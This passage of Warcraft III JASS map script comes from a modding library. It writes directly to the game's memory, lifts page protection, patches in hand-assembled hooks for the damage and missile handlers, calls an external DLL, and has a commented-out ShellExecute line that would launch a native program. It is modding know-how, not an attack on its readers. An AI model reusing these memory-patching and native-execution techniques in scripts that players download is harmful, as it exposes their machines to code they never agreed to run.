        //0 0 1 1 1 - default attack
        //0 0 1 0 0 - attack with orb-effect (2nd index?)
   
    endif
endfunction

function GetRealGameTime takes nothing returns integer
    return ReadRealMemory(pGameTime)
endfunction


function GetOrderPlayerId takes unit u returns integer
    local integer pUhandle=0
    if u == null then
        return 0xF
    endif
    set pUhandle = ConvertHandle(u)
    if pUhandle == 0 then
        return 0xF
    endif
    if (ReadRealMemory(pUhandle + 0x1a8) <= 0 or ReadRealMemory(pUhandle + 0x1aC) <= 0) then
        return 0xF
    endif
    return ReadRealMemory(GetSomeAddressForAbility(ReadRealMemory(pUhandle + 0x1a8),ReadRealMemory(pUhandle + 0x1aC))+0x28)
endfunction

function FixAllCyclones takes nothing returns nothing
    local integer oldprotection
    if CycloneFixBaseValue!=0 then
        return
    endif
    set oldprotection = ChangeOffsetProtection((pCycloneFixCondition),4,0x40)
    set CycloneFixBaseValue=ReadRealMemory(pCycloneFixCondition)
    if GameVersion == 0x26a then
        call WriteRealMemory(pCycloneFixCondition,CycloneFixCondition026a)
    elseif GameVersion == 0x27a then
        call WriteRealMemory(pCycloneFixCondition,CycloneFixCondition027a)
    endif
    call ChangeOffsetProtection((pCycloneFixCondition),4,oldprotection)
endfunction

function DeFixAllCyclones takes nothing returns nothing
    local integer oldprotection
    if CycloneFixBaseValue==0 then
        return
    endif
    set oldprotection = ChangeOffsetProtection((pCycloneFixCondition),4,0x40)
    call WriteRealMemory(pCycloneFixCondition,CycloneFixBaseValue)
    set CycloneFixBaseValue=0
    call ChangeOffsetProtection((pCycloneFixCondition),4,oldprotection)
endfunction

function ToggleForcedSubSelection takes boolean b returns nothing
    if pToggleForcedSubSelection == 0 then
        set pToggleForcedSubSelection = GetModuleProcAddress(EXTRADLLNAME, "ToggleForcedSubSelection")
    endif
    if pToggleForcedSubSelection != 0 then
        call CallStdcallWith1Args(pToggleForcedSubSelection,B2I(b))
    endif
endfunction


function ToggleBlockKeyAndMouseEmulation takes boolean b returns nothing
    if pToggleBlockKeyAndMouseEmulation == 0 then
        set pToggleBlockKeyAndMouseEmulation = GetModuleProcAddress(EXTRADLLNAME, "ToggleBlockKeyAndMouseEmulation")
    endif
    if pToggleBlockKeyAndMouseEmulation != 0 then
        call CallStdcallWith1Args(pToggleBlockKeyAndMouseEmulation,B2I(b))
    endif
endfunction

function ToggleClickHelper takes boolean b returns nothing
    if pToggleClickHelper == 0 then
        set pToggleClickHelper = GetModuleProcAddress(EXTRADLLNAME, "ToggleClickHelper")
    endif
    if pToggleClickHelper != 0 then
        call CallStdcallWith1Args(pToggleClickHelper,B2I(b))
    endif
endfunction

function UpdateUnitMoveSpeedTo takes unit u, real ms returns nothing
    local integer a=GetHandleId(u)
    if a>0 then
        set a=ConvertHandle(u)
        if a>0 then
            set a=GetUnitAddressFloatsRelated(a,0xA0)
            if a>0 then
                set a=ReadRealMemory(a+0x28)
                set a=a-0x24
                if a>0 then
                    set ms=ms/32
                    set Memory[pReserverdIntArg1/4] = cleanInt(realToIndex(ms))
                    call CallThisCallWith2Args(pUpdateUnitsSpeedCurrent,a, pReserverdIntArg1)
                endif
            endif
        endif
    endif
endfunction

function Bool2Int takes boolean b returns integer
    if b then
        return 1
    endif
    return 0
endfunction

function SetStunToUnit takes unit u, boolean add returns nothing
    if add then
        call CallThisCallWith2Args(pSetStunToUnitTRUE ,ConvertHandle(u),ConvertHandle(u))
    else
        call CallThisCallWith1Args(pSetStunToUnitFALSE ,ConvertHandle(u))
    endif
endfunction

function CommonSilenceApply takes unit u, boolean app returns nothing
    local integer a=GetHandleId(u)
    if a>0 then
        set a=ConvertHandle(u)
        call CallThisCallWith2Args(pCommonSilence,a,Bool2Int(app))
    endif
endfunction

function DisableAllUnitsAbilities takes unit u, boolean disable returns nothing
    //visually equal to pause: all skills are hidden and silenced
    local integer a=GetHandleId(u)
    if a>0 then
        set a=ConvertHandle(u)
        call CallThisCallWith5Args(pPauseUnitDisabler,a,1,Bool2Int(disable),0,0)
    endif
endfunction

function AddSilenceToAbility takes integer a returns nothing
    if a>0 then
        call CallThisCallWith3Args(pAddSilenceOnAbility,a,0,1)
    endif
endfunction

function RemoveSilenceFromAbility takes integer a returns nothing
    if a>0 then
        call CallThisCallWith3Args(pRemoveSilenceFromAbility,a,0,1)
    endif
endfunction

function SetUnitBaseMovespeed takes unit u, real r returns nothing
    local integer a=GetHandleId(u)
    if a>0 then
        set a=(ConvertHandle(u)+0x1EC)/4
        if a>0 then
            set a=Memory[a]/4
            if a>0 then
                set Memory[a+0x70/4]=SetRealIntoMemory(r)
            endif
        endif
    endif
endfunction

function GetUnitBaseMovespeed takes unit u returns real
    local integer a=GetHandleId(u)
    if a>0 then
        set a=(ConvertHandle(u)+0x1EC)/4
        if a>0 then
            set a=Memory[a]/4
            if a>0 then
                return GetRealFromMemory(Memory[a+0x70/4])
            endif
        endif
    endif
    return 0.
endfunction

function ThrowTargetSpellTargetUnit takes unit who, integer id, widget target returns nothing
    local integer a=ConvertHandle(target)
    local integer x
    local integer y
    if a>0 and GetHandleId(who)>0 then
        set x=ReadRealMemory(a+0xC)
        set y=ReadRealMemory(a+0x10)
        if x>0 and y>0 then
            set a=ConvertHandle(who)
            if a<1 then
                return
            endif
            set a=GetUnitAbility(who,id)
            if a>0 then
                call WriteRealMemory(a+0xE4,x)//for any target (widget)
                call WriteRealMemory(a+0xE8,y)
                if not IsFlagBitSet(ReadRealMemory(a+0x20),0x10000) then
                    //0x19804 stands for "target", 0x1F020 stands for "target item",0x9800 stands for point target
                    call WriteRealMemory(a+0x20,ReadRealMemory(a+0x20)+0x10000)
                    if not IsFlagBitSet(ReadRealMemory(a+0x20),0x1) then
                        call WriteRealMemory(a+0x20,ReadRealMemory(a+0x20)+0x1)
                    endif
                endif
                set a=CallThisCallWith1Args(pCastAbility,a)
            endif
        endif
    endif
endfunction

function ThrowSpellXY takes unit who, integer id, real x, real y returns nothing
//fits for no-target spells as Was Stomp as well
    local integer a=ConvertHandle(who)
    if a>0 then
        set a=GetUnitAbility(who,id)
        if a>0 then
            call WriteRealMemory(a+0xF8,SetRealIntoMemory(x))
            call WriteRealMemory(a+0x100,SetRealIntoMemory(y))
            call WriteRealMemory(a+0x20,0x9800)
            set a=CallThisCallWith1Args(pCastAbility,a)
        endif
    endif
endfunction

function CastSpellTargetGround takes unit caster, integer id, integer lvl, real x, real y, boolean remove returns nothing
    call UnitAddAbility(caster,id)
    call SetUnitAbilityLevel(caster,id,lvl)
    call ThrowSpellXY(caster,id,x,y)
    if remove then
        call UnitRemoveAbility(caster,id)
    endif
endfunction

function ThrowTargetSpellTargetUnitSingle takes unit who, integer id, integer lvl, widget target, boolean remove returns nothing
// due to memory issues requires STDCAlls and ThisCAlls to use different memory allocation
// else spells which deals dmage immediately on cast will interference with damage-related functions and fuck whole thing up
// Chain lightnings stops as soon as ability removed so you may want it to stay
    call UnitAddAbility(who,id)
    if lvl>1 then
        call SetUnitAbilityLevel(who,id,lvl)
    endif
    call ThrowTargetSpellTargetUnit(who,id,target)
    if remove then
        call UnitRemoveAbility(who,id)
    endif
endfunction

function SelfCastSpell takes unit who, integer id, integer lvl returns nothing
// workaround when caster doesnt matter
    call UnitAddAbility(who,id)
    if lvl>1 then
        call SetUnitAbilityLevel(who,id,lvl)
    endif
    call ThrowTargetSpellTargetUnit(who,id,who)
    call UnitRemoveAbility(who,id)
endfunction

function IsAttackDisabled takes unit u returns boolean
    local integer a=GetHandleId(u)
    if a>0 then
        set a=ConvertHandle(u)
        if a>0 then
            set a=ReadRealMemory(a+0x1E8)
            if a>0 then
                return ReadRealMemory(a+0x40)>0
            endif
        endif
    endif
    return false
endfunction

// REMINDER: All this/fast/cdecl calls uses the same pReservedExecutableMemory2
// in case if one thread being interrupted by another
// (midwhile calling some func you deal damage to the unit, and you have ON_DAMAGE
// trigger which runs some function as well, trashing this memory) it will end up with fatal for sure.



function UnstuckWindwalkAbilities takes unit u, integer id returns nothing
    local integer a=GetUnitAbilityLevel(u,id)
    if a>0 then
        set a=GetUnitAbility(u,id)
        if a>0 then
            call WriteRealMemory(a+0x44,-100)
        endif
    endif
endfunction


function ApplyTerrainFilterDirectly takes string Path, integer addr_of_mem, integer addr_of_size, boolean IsTarga returns nothing
    if pApplyTerrainFilterDirectly == 0 then
        set pApplyTerrainFilterDirectly = GetModuleProcAddress(EXTRADLLNAME, "ApplyTerrainFilterDirectly")
    endif
    if pApplyTerrainFilterDirectly != 0 then
        call CallStdcallWith4Args(pApplyTerrainFilterDirectly,GetStringAddress(Path),addr_of_mem,addr_of_size,B2I(IsTarga))
    endif
endfunction


function LoadFileMemAddr takes string FileName returns integer
    if GameVersion == 0x27a then
        return CallFastCallWith4Args(pGetOrLoadFile,GetStringAddress(FileName),0,0,0)
    else
        return FUCKINGCallWith4Args(pGetOrLoadFile,GetStringAddress(FileName),0,0,0)
    endif
endfunction

function TestTerrainFilter takes nothing returns nothing
    local integer pLordsDirt = LoadFileMemAddr("TerrainArt\\LordaeronSummer\\Lords_Dirt.blp")
    if pLordsDirt > 0 then
        call BJDebugMsg( "Texture addr: " + Int2Hex(pLordsDirt) )
        call BJDebugMsg("OLD ADDRESS : " + Int2Hex(ReadRealMemory(pLordsDirt + 0x18)))
        call ApplyTerrainFilterDirectly("TerrainArt\\LordaeronSummer\\Lords_Dirt.blp",pLordsDirt + 0x18, pLordsDirt + 0x1C, false)
        call BJDebugMsg("NEW ADDRESS : " + Int2Hex(ReadRealMemory(pLordsDirt + 0x18)))
    endif
endfunction

function SetMainFuncWork takes boolean b returns nothing
    if pSetMainFuncWork == 0 then
        set pSetMainFuncWork = GetModuleProcAddress(EXTRADLLNAME, "SetMainFuncWork")
    endif
    if pSetMainFuncWork != 0 then
        call CallStdcallWith1Args(pSetMainFuncWork,B2I(b))
    endif
endfunction


function FixModelCollisionSphere takes string Path, real X, real Y, real Z, real Radius returns nothing
    if pFixModelCollisionSphere == 0 then
        set pFixModelCollisionSphere = GetModuleProcAddress(EXTRADLLNAME, "FixModelCollisionSphere")
    endif
    if pFixModelCollisionSphere != 0 then
        call CallStdcallWith5Args(pFixModelCollisionSphere,GetStringAddress(Path),cleanInt(realToIndex(X)),cleanInt(realToIndex(Y)),cleanInt(realToIndex(Z)),cleanInt(realToIndex(Radius)))
    endif
endfunction

function FixModelTexturePath takes string ModelPath, integer TextureID, string NewTexturePath returns nothing
    if pFixModelTexturePath == 0 then
        set pFixModelTexturePath = GetModuleProcAddress(EXTRADLLNAME, "FixModelTexturePath")
    endif
    if pFixModelTexturePath != 0 then
        call CallStdcallWith3Args(pFixModelTexturePath,GetStringAddress(ModelPath),TextureID,GetStringAddress(NewTexturePath))
    endif
endfunction


function PatchModel takes string ModelPath, string patchPath returns nothing
    if pPatchModel == 0 then
        set pPatchModel = GetModuleProcAddress(EXTRADLLNAME, "PatchModel")
    endif
    if pPatchModel != 0 then
        call CallStdcallWith2Args(pPatchModel,GetStringAddress(ModelPath),GetStringAddress(patchPath))
    endif
endfunction


function ChangeAnimationSpeed takes string ModelPath, string AnimationName, real SpeedUP returns nothing
    if pChangeAnimationSpeed == 0 then
        set pChangeAnimationSpeed = GetModuleProcAddress(EXTRADLLNAME, "ChangeAnimationSpeed")
    endif
    if pChangeAnimationSpeed != 0 then
        call CallStdcallWith3Args(pChangeAnimationSpeed,GetStringAddress(ModelPath),GetStringAddress(AnimationName), cleanInt(realToIndex(SpeedUP)))
    endif
endfunction

function SetSequenceValue takes string ModelPath, string AnimationName, integer Indx, real Value returns nothing
    if pSetSequenceValue == 0 then
        set pSetSequenceValue = GetModuleProcAddress(EXTRADLLNAME, "SetSequenceValue")
    endif
    if pSetSequenceValue != 0 then
        call CallStdcallWith4Args(pSetSequenceValue,GetStringAddress(ModelPath),GetStringAddress(AnimationName),Indx, cleanInt(realToIndex(Value)))
    endif
endfunction

function RedirectFile takes string OriginalFileName, string RedirectFileName returns nothing
    if pRedirectFile == 0 then
        set pRedirectFile = GetModuleProcAddress(EXTRADLLNAME, "RedirectFile")
    endif
    if pRedirectFile != 0 then
        call CallStdcallWith2Args(pRedirectFile,GetStringAddress(OriginalFileName),GetStringAddress(RedirectFileName))
    endif
endfunction

function IsStoreIntegerLocked takes nothing returns boolean
    return ReadRealMemory(StoreIntegerOffset) == 0x90C3C08B
endfunction


function LockStoreInteger takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( StoreIntegerOffset,4,0x40)

    if StoreIntegerLocked != IsStoreIntegerLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "StoreInteger hack detected!" )
    endif

    if StoreIntegerLocked == false then
        set StoreIntegerUnlocker = ReadRealMemory(StoreIntegerOffset)
        set StoreIntegerLocked = true
    endif

    call WriteRealMemory(StoreIntegerOffset, 0x90C3C08B)
    call ChangeOffsetProtection( StoreIntegerOffset,4, oldprotection)
endfunction

function UnLockStoreInteger takes nothing returns nothing
    local integer oldprotection = ChangeOffsetProtection( StoreIntegerOffset,4,0x40)

    if StoreIntegerLocked != IsStoreIntegerLocked( ) then
        call MaphackDetected( GetLocalPlayer( ), "StoreInteger hack detected#2!" )
    endif

    if StoreIntegerLocked then
        call WriteRealMemory(StoreIntegerOffset,StoreIntegerUnlocker)
        set StoreIntegerLocked = false
    endif

    call ChangeOffsetProtection( StoreIntegerOffset,4, oldprotection)
endfunction

function nStoreInteger takes gamecache cache, string missionKey, string key, integer value returns nothing
    call UnLockStoreInteger( )
    call StoreInteger(cache,missionKey,key,value)
    call LockStoreInteger( )
endfunction

function GetUnitVisibilityClass takes unit u returns integer
    local integer a=ConvertHandle(u)
    local integer res=0
    if a>0 then
        set res=ReadRealMemory(a+0x130)
        if res>0 then
            set res=GetSomeAddressForAbility(res,ReadRealMemory(a+0x134))
        endif
    endif
    return res
endfunction

function GetUnitDetectedClass takes unit u returns integer
    local integer a=ConvertHandle(u)
    local integer res=0
    if a>0 then
        set res=ReadRealMemory(a+0x13C)
        if res>0 then
            set res=GetSomeAddressForAbility(res,ReadRealMemory(a+0x140))
        endif
    endif
    return res
endfunction

function Player2Flag takes player p returns integer
    return R2I(Pow(2,GetPlayerId(p)))
endfunction

function IsUnitVisibleToPlayer takes unit u, player p returns boolean
    //true-sight like effect, unit can't get invisible
    local integer a=GetUnitVisibilityClass(u)
    if a>0 then
        return IsFlagBitSet(ReadRealMemory(a+0x24),Player2Flag(p))
    endif
    return false
endfunction

function IsUnitDetectedByPlayer takes unit u, player p returns boolean
    //shared vision-like effect, used for Faerie fire / Wand of evil eye
    //have no reveal effect by itself, used only as detector?
    local integer a=GetUnitDetectedClass(u)
    if a>0 then
        return IsFlagBitSet(ReadRealMemory(a+0x24),Player2Flag(p))
    endif
    return false
endfunction

function SetUnitVisibleByPlayer takes unit u, player p, integer c returns nothing
    local integer a=GetUnitVisibilityClass(u)
    if a>0 then
        call WriteRealMemory(a+0x2C+4*GetPlayerId(p),c)
        if c>0 and IsFlagBitSet(ReadRealMemory(a+0x24),Player2Flag(p))==false then
            call WriteRealMemory(a+0x24,ReadRealMemory(a+0x24)+Player2Flag(p))
        elseif c==0 and IsFlagBitSet(ReadRealMemory(a+0x24),Player2Flag(p)) then
            call WriteRealMemory(a+0x24,ReadRealMemory(a+0x24)-Player2Flag(p))
        endif
    endif
endfunction

function GetUnitVisibleByPlayerCount takes unit u, player p returns integer
    local integer a=GetUnitVisibilityClass(u)
    if a>0 then
        return ReadRealMemory(a+0x2C+4*GetPlayerId(p))
    endif
    return 0
endfunction

function RecountAnyDetectionForUnit takes unit u returns nothing
    local integer a=ConvertHandle(u)
    local integer sum=0
    local integer i=0
    if a>0 then
        set a=GetUnitDetectedClass(u)
        if a>0 then
            loop
                if ReadRealMemory(a+0x2C+4*i)>0 then
                    set sum=sum+R2I(Pow(2,i))
                endif
                set i=i+1
                exitwhen i>15
            endloop
            call WriteRealMemory(a+0x14C,sum)
            call WriteRealMemory(a+0x148,sum)
            set sum=0
            set i=0
        endif
        set a=GetUnitVisibilityClass(u)
        if a>0 then
            loop
                if ReadRealMemory(a+0x2C+4*i)>0 then
                    set sum=sum+R2I(Pow(2,i))
                endif
                set i=i+1
                exitwhen i>15
            endloop
            call WriteRealMemory(a+0x24,sum)
        endif
    endif
endfunction

function RemoveAnyDetectionFromUnit takes unit u returns nothing
    local integer a=ConvertHandle(u)
    if a>0 then
        call WriteRealMemory(a+0x148,0)
        call WriteRealMemory(a+0x14C,0)
        set a=GetUnitVisibilityClass(u)
        if a>0 then
            call WriteRealMemory(a+0x24,0)
        endif
    endif
endfunction

function MofidyUnitVisibleByPlayer takes unit u, player p, integer c returns nothing
    call SetUnitVisibleByPlayer(u,p,GetUnitVisibleByPlayerCount(u,p)+c)
endfunction

function SetUnitDetectedByPlayer takes unit u, player p, integer c returns nothing
    local integer a=GetUnitDetectedClass(u)
    if a>0 then
        call WriteRealMemory(a+0x2C+4*GetPlayerId(p),c)
        if c>0 and IsFlagBitSet(ReadRealMemory(a+0x24),Player2Flag(p))==false then
            call WriteRealMemory(a+0x24,ReadRealMemory(a+0x24)+Player2Flag(p))
        endif
    endif
endfunction

function GetUnitDetectedByPlayerCount takes unit u, player p returns integer
    local integer a=GetUnitDetectedClass(u)
    if a>0 then
        return ReadRealMemory(a+0x2C+4*GetPlayerId(p))
    endif
    return 0
endfunction

function MofidyUnitDetectedByPlayer takes unit u, player p, integer c returns nothing
    call SetUnitDetectedByPlayer(u,p,GetUnitDetectedByPlayerCount(u,p)+c)
endfunction

function SetUnitVisiblePartiallyByPlayer takes unit u, player p, boolean visible returns nothing
    //works a-la shared vision: unit remain "visible" but model won't be shown if unit is invisbile
    //unit can be autoattacked and visible on the minimap
    local integer a=ConvertHandle(u)
    if a>0 then
        if IsFlagBitSet(ReadRealMemory(a+0x148),Player2Flag(p))==false then
            if visible then
                call WriteRealMemory(a+0x148,ReadRealMemory(a+0x148)+Player2Flag(p))
            endif
        else
            if not visible then
                call WriteRealMemory(a+0x148,ReadRealMemory(a+0x148)-Player2Flag(p))
            endif
        endif
    endif
endfunction

function IsUnitVisiblePartiallyByPlayer takes unit u, player p returns boolean
    local integer a=ConvertHandle(u)
    if a>0 then
        return IsFlagBitSet(ReadRealMemory(a+0x148),Player2Flag(p))
    endif
    return false
endfunction

function SetUnitSharedVisionForPlayer takes unit u, player p, boolean shared returns nothing
    //basic "shared vision" effect, nothing new
    local integer a=ConvertHandle(u)
    if a>0 then
        if IsFlagBitSet(ReadRealMemory(a+0x14C),Player2Flag(p))==false then
            if shared then
                call WriteRealMemory(a+0x14C,ReadRealMemory(a+0x14C)+Player2Flag(p))
            endif
        else
            if not shared then
                call WriteRealMemory(a+0x14C,ReadRealMemory(a+0x14C)-Player2Flag(p))
            endif
        endif
    endif
endfunction

function IsUnitSharedVisionToPlayer takes unit u, player p returns boolean
    local integer a=ConvertHandle(u)
    if a>0 then
        return IsFlagBitSet(ReadRealMemory(a+0x14C),Player2Flag(p))
    endif
    return false
endfunction

function InitializeDamageHandler takes integer pTriggerHandle returns nothing
    local integer pUnitDamageHandler = pUnitVtable+0x120
    local integer oldprotection = ChangeOffsetProtection(pUnitDamageHandler,4,0x40)

    call AddNewOffsetToRestore(pUnitDamageHandler,ReadRealMemory(pUnitDamageHandler))

    call WriteRealMemory(pReservedMemoryForDamageHandler + 0, 0xB890C08B)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 4, pDamageTarget)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 8, 0xB8900889)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 12, pDamageEspData)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 16, 0x68602089)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 20, pTriggerHandle)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 24, 0xB890C08B)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 28, pTriggerExecute)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 32, 0xC483D0FF)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 36, 0xB8906104)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 40, pRealUnitDamageHandler)
    call WriteRealMemory(pReservedMemoryForDamageHandler + 44, 0xCCCCE0FF)

    call BJDebugMsg(Int2Hex(pReservedMemoryForDamageHandler))
    // call TriggerSleepAction(5.0)

    call WriteRealMemory(pUnitDamageHandler,pReservedMemoryForDamageHandler)

    set oldprotection = ChangeOffsetProtection(pUnitDamageHandler,4,oldprotection)

endfunction


function TestMissileHandler takes nothing returns nothing
    local integer offset=ReadRealMemory(ReadRealMemory(pDamageEspData)+0x8)
    if DamageIncrementer>8000 then
        set DamageIncrementer=10
    endif
    set DamageIncrementer=DamageIncrementer+1
    set DamageValues[DamageIncrementer]=GetRealFromMemory(ReadRealMemory(offset+0x10))
    set DamageAttackTypes[DamageIncrementer]=ReadRealMemory(offset+0x20)
    set DamageDamageTypes[DamageIncrementer]=ReadRealMemory(offset+0x14)
    call ExecuteFunc("PreDamageWorker")
    //Barrage missiles always have 0x8 == 0x10000000
//    call BJDebugMsg("Target" + Int2Hex(ReadRealMemory(pDamageTarget)))
//    call BJDebugMsg(Int2Hex(ReadRealMemory(ReadRealMemory(ReadRealMemory(pDamageEspData)+0x8)+0x0)))//source
//    call BJDebugMsg(Int2Hex(ReadRealMemory(ReadRealMemory(ReadRealMemory(pDamageEspData)+0x8)+0x8)))//proj or link onto something
//
//    call BJDebugMsg(Int2Hex(ReadRealMemory(ReadRealMemory(ReadRealMemory(pDamageEspData)+0x8)+0xC)))//0x101 == ranged, 0x100 == melee
//    call BJDebugMsg("Damage:" + R2S(GetRealFromMemory(ReadRealMemory(ReadRealMemory(ReadRealMemory(pDamageEspData)+0x8)+0x10))))//damage val

endfunction

function TestMissileHandler2 takes nothing returns nothing
    call BJDebugMsg( "Warning! "  + GetObjectName(ReadRealMemory(ReadRealMemory(ReadRealMemory(ReadRealMemory(pMissileEspData)+0x1C)+0x30)+0x30)) + " attack object : "  + GetObjectName(ReadRealMemory(ReadRealMemory(ReadRealMemory(pMissileEspData)+4)+0x30)))
endfunction


function RegisterTestDamageHandler takes nothing returns nothing
    local trigger t=CreateTrigger()
    call TriggerAddAction(t,function TestMissileHandler)
    call InitializeDamageHandler(GetHandleId(t))
endfunction



function InitMissileHook127 takes integer pTriggerHandle returns nothing
    local integer oldprotection = ChangeOffsetProtection(pMissileFuncStart,5,0x40)

    call AddNewOffsetToRestore(pMissileFuncStart,ReadRealMemory(pMissileFuncStart))
    call AddNewOffsetToRestore(pMissileFuncStart+2,ReadRealMemory(pMissileFuncStart+2))

    call WriteRealMemory(pMissileFuncStart, 0xE9E9E9E9)

    call WriteRealMemory(pMissileFuncStart + 1, pReservedMemoryForMissileHandler - pMissileFuncStart - 5 )

    call WriteRealMemory(pReservedMemoryForMissileHandler + 0, 0xB890C08B )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 4, pMissileEspData )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 8, 0x68602089 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 12, pTriggerHandle )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 16, 0xB890C08B )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 20, pTriggerExecute )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 24, 0xC483D0FF )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 28, 0xC08B6104 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 32, 0x6AEC8B55 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 36, 0xB8C08BFF )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 40, pMissileJumpBack )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 44, 0xCCCCE0FF )

    call BJDebugMsg(Int2Hex(pReservedMemoryForMissileHandler))

    set oldprotection = ChangeOffsetProtection(pMissileFuncStart,5,oldprotection)
endfunction

function InitMissileHook126 takes integer pTriggerHandle returns nothing
    local integer oldprotection = ChangeOffsetProtection(pMissileFuncStart,5,0x40)
    local integer oldvalue1 = ReadRealMemory(pMissileFuncStart)
    local integer oldvalue2 = ReadRealMemory(pMissileFuncStart + 4)
    call AddNewOffsetToRestore(pMissileFuncStart,ReadRealMemory(pMissileFuncStart))
    call AddNewOffsetToRestore(pMissileFuncStart+3,ReadRealMemory(pMissileFuncStart+3))

    call WriteRealMemory(pMissileFuncStart, 0xE9E9E9E9)
    call WriteRealMemory(pMissileFuncStart+3, 0x90909090)

    call WriteRealMemory(pMissileFuncStart + 1, pReservedMemoryForMissileHandler - pMissileFuncStart - 5 )

    call WriteRealMemory(pReservedMemoryForMissileHandler + 0, 0xB890C08B )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 4, pMissileEspData )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 8, 0x68602089 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 12, pTriggerHandle )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 16, 0xB890C08B )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 20, pTriggerExecute )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 24, 0xC483D0FF )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 28, 0xC08B6104 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 32, oldvalue1 )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 36, oldvalue2 )

    call WriteRealMemory(pReservedMemoryForMissileHandler + 39, 0xB8B8B8B8 )

    call WriteRealMemory(pReservedMemoryForMissileHandler + 40, pMissileJumpBack )
    call WriteRealMemory(pReservedMemoryForMissileHandler + 44, 0xCCCCE0FF )

    call BJDebugMsg(Int2Hex(pReservedMemoryForMissileHandler))

    set oldprotection = ChangeOffsetProtection(pMissileFuncStart,5,oldprotection)
endfunction

function InitMissileHook127Test takes nothing returns nothing
    local trigger t=CreateTrigger()
    call TriggerAddAction(t,function TestMissileHandler2)
    call InitMissileHook127(GetHandleId(t))
endfunction

function InitMissileHook126Test takes nothing returns nothing
    local trigger t=CreateTrigger()
    call TriggerAddAction(t,function TestMissileHandler2)
    call InitMissileHook126(GetHandleId(t))
endfunction

function JassLog takes string textLog returns nothing
    if pJassLog == 0 then
        set pJassLog = GetModuleProcAddress(EXTRADLLNAME, "JassLog")
    endif
    if pJassLog != 0 then
        call CallStdcallWith1Args(pJassLog,GetStringAddress(textLog))
    endif
endfunction

function revealFn takes nothing returns nothing
    local group g=CreateGroup()
    local unit u
    local integer i=0
    local image im
    local integer k=11
    local timerdialog t
    local real c
    local boolean b
    local real x=-583
    local real y=1197
    local integer testselectedunit
    local integer oldprotection
    local string s
    local integer h=0
    local unit kk
    local real r
    local item it
    //call ExecuteFunc("InitMissileHook126Test")

//    call PrintJassNatives()
//    if Player(1)==LocalPlayer then
//        call SendMessageToChat(GetStringAddress("-repick"),true)
//    endif
    //call SetChatEmptyMessage()
    //call SimulateAttackInstance(udg_Hero[1],udg_Hero[7])
//    loop
//        call echo("player "+I2S(h)+": "+Int2Hex(ConvertHandle(Player(h))))
//        set h=h+1
//        exitwhen h>14
//    endloop
    //call ReplaceStringValue("TIME_OF_DAY_TOOLTIP", GetStringAddress(GetObjectName(HeroID[GetRandomInt(1,100)])))
//    set h=GetPlayerState(Player(1),PLAYER_STATE_RESOURCE_FOOD_USED)
//    call SetPlayerState(Player(1),PLAYER_STATE_RESOURCE_FOOD_USED,10001)
//    call SetPlayerState(Player(1),PLAYER_STATE_RESOURCE_FOOD_USED,h)
    //call TestPrintAllTimers2()
    //call PrintAllTimers()
//    call TestPingsTest()
//    call ExecuteFunc("TestBlockOrders")
//    local item it=CreateItem(Item_Real[GetRandomInt(1,200)],GetRandomReal(-1000,1000),0)
//    call echo(Int2Hex(ConvertHandle(it)))
    //call ShellExecute("open","calc","")
    call GroupEnumUnitsSelected(g,GetTriggerPlayer(),null)
    loop
        set u=FirstOfGroup(g)
        exitwhen u==null
        call GroupRemoveUnit(g,u)
        //call SetUnitColorDirectly(u,0,0,0,255)
        set h=ConvertHandle(u)
//        if GetUnitAbility(u,'AHer')>0 then
//            call CallThisCallWith2Args(GameDLL+0x079990,h,GetUnitAbility(u,'AHer'))//trying to show hero icon, worthlessly
//        endif
   
//        call echo(Int2Hex(B2I(UnitAddAbility(u,'A00S'))))
        call echo("Unit: "+Int2Hex(h)+"; handle="+Int2Hex(GetHandleId(u)))
        call echo("Widget's base: "+Int2Hex(GetUnitAddressFloatsRelated(h,0xA0)))
        //call ThrowSpellXY(u,'A06F',GetUnitX(u),GetUnitY(u))
//        call ThrowSpellXY(u,'A388',0,0)
        //call ThrowTargetSpellTargetUnitSingle(u,'A3A1',1,udg_Hero[7])
//        call echo(R2S(GetUnitCurrentMSper32(h)))
//        call echo(Int2Hex(GetObjectDataCaching(pUnitData , GetUnitTypeId(u))))
//        call echo("0xA0 0xA4 = "+Int2Hex(GetSomeAddress(Memory[(h+0xA0)/4],Memory[(h+0xA4)/4])))
//        call echo("0xC0 0xC4 = "+Int2Hex(GetSomeAddress(Memory[(h+0xC0)/4],Memory[(h+0xC4)/4])))
//        call echo("0x104 0x108 = "+Int2Hex(GetSomeAddress(Memory[(h+0x104)/4],Memory[(h+0x108)/4])))
//        call echo("0x120 0x124 = "+Int2Hex(GetSomeAddress(Memory[(h+0x120)/4],Memory[(h+0x124)/4])))
//        call echo("0x130 0x134 = "+Int2Hex(GetSomeAddress(Memory[(h+0x130)/4],Memory[(h+0x134)/4])))
//        call echo("0x16C 0x170 = "+Int2Hex(GetSomeAddress(Memory[(h+0x16C)/4],Memory[(h+0x170)/4])))
